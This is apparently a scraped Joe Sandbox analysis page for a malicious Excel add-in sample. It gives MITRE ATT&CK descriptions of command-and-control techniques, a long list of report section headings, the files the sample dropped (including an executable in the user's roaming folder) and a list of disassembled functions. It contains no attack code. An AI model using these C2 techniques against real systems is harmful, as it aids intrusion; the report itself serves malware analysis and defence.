Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2023-07-01-2023-07-15_Transactions.xll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\DCE7C43F-89A3-45C5-AB14-896C22C70948

C:\Users\user\AppData\Roaming\GcQGGmjG.exe

C:\Users\user\AppData\Roaming\GcQGGmjG.xlsx

C:\Users\user\AppData\Roaming\~$GcQGGmjG.xlsx

Static File Info

General

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
2023-07-01-2023-07-15_Transactions.xll

Function 002B4868 Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 196
windowCOMMON

Function 002B1000 Relevance: 18.2, APIs: 4, Strings: 6, Instructions: 665
fileCOMMON

Function 002B4ABC Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 286
fileCOMMON

Function 002B202A Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 120
COMMON

Function 002B1D2F Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 133
fileCOMMON

Function 002B1C87 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69
encryptionCOMMON

Function 002B2192 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
COMMON

Function 002B351E Relevance: 3.0, APIs: 2, Instructions: 8
memoryCOMMON

Function 002B21E3 Relevance: 42.3, APIs: 14, Strings: 10, Instructions: 305
synchronizationCOMMON

Function 002B5002 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 138
networkCOMMON

Function 002B4186 Relevance: 15.2, APIs: 8, Strings: 2, Instructions: 154
COMMON

Function 002B4511 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 231
memoryCOMMON

Function 002B34F0 Relevance: 6.0, APIs: 4, Instructions: 18
memoryCOMMON

Function 002B439A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94
libraryCOMMON

Function 002B402B Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Function 002B3EAA Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 111
fileCOMMON

Function 002B4068 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 97
fileCOMMON

Function 002B2979 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 245
COMMON

Function 002B1F03 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 84
COMMON

Function 002B306C Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 410
COMMON

Function 002B2BF0 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389
COMMON

Function 002B3CCC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44
COMMON